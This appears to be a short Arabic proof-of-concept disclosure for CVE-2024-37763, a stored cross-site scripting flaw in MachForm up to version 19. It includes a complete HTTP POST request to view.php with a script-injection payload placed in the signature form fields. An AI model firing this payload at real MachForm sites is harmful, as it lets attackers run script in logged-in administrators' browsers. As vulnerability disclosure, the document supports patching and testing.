
استغلال إثبات المفهوم لـ CVE-2024-37763، ثغرة XSS مخزنة غير مصادق عليها في MachForm حتى v19، يوضح حقن الحمولة عبر معلمات ضعيفة في view.php.
يتأثر MachForm حتى الإصدار 19 بثغرة تخزينية لبرمجة النص عبر المواقع (XSS) غير موثقة، والتي تؤثر على المستخدمين ذوي الجلسات الصالحة القادرين على عرض نتائج النماذج المجمعة.
في تطبيق الويب المستهدف، عند استخدام نموذج مع تفعيل التوقيع النصي، تم العثور على أن الطلب المرسل إلى المورد الضعيف يعاني من هجوم XSS. تفتقر إحدى معاملات طلب POST في جسم الطلب داخل عنوان URL الضعيف إلى التنظيف، مما يسمح بوضع حمولة ضارة وتشغيل كود JavaScript على متصفح الضحية.
المعاملات الضعيفة ديناميكية بناءً على مكان وضع مكون التوقيع النصي في النموذج:
element_{element_number}_text_signatureelement_{element_number}من الممكن حقن حمولة JavaScript في المعاملات الضعيفة.

الطلب:
POST /view.php HTTP/1.1
Host: application-baseurl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://application-baseurl/
Content-Type: multipart/form-data; boundary=---------------------------6026266881719614557329755478
Content-Length: 1141
Origin: https://application-baseurl
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="element_1"
test5
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="element_4_text_signature"
"><script>alert(1)</script>
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="element_4"
"><script>alert(1)</script>
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="element_12"; filename=""
Content-Type: application/octet-stream
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="element_12_token"
3cc3be6c0c28b67f1c55eb23786b2869
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="form_id"
59032
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="submit_form"
1
-----------------------------6026266881719614557329755478
Content-Disposition: form-data; name="page_number"
1
-----------------------------6026266881719614557329755478--
ثم يتم تشغيل الحمولة عندما يقوم مستخدم موثّق بتعديل إدخال نتيجة النموذج.

